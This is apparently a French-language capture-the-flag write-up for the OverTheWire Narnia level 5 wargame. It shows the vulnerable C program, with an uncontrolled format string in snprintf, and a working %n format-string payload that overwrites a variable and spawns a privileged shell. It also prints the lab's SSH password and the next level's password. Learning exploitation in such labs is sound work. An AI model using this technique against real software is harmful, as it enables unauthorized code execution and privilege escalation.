ssh narnia5@narnia.labs.overthewire.org
pass : faimahchiy
#include
#include
#include
int main(int argc, char **argv){
int i = 1;
char buffer[64];
snprintf(buffer, sizeof buffer, argv[1]);
buffer[sizeof (buffer) - 1] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500){
printf("GOOD\n");
system("/bin/sh");
}
printf("No way...let me give you a hint!\n");
printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
printf ("i = %d (%p)\n", i, &i);
return 0;
}
Pour changer des buffers overflow, nous avons le droit cette fois ci à une petite format string :-)
Le but est d'écrire ''500'' sur la variable ''i'', si vous débutez en format string, je vous conseille de lire de la documentation avant ! (j'ai la flemme de détailler :-D)
L'adresse de la variable nous ai donné par le programme, ce qui va nous faciliter la tâche.
narnia5@melissa:/narnia$ ./narnia5 $(python -c 'print "\x2c\xd7\xff\xff%496d%5$n"')
Change i's value from 1 -> 500. GOOD
$ id
uid=14005(narnia5) gid=14005(narnia5) euid=14006(narnia6) groups=14006(narnia6),14005(narnia5)
$ cat /etc/narnia_pass/narnia6
neezocaeng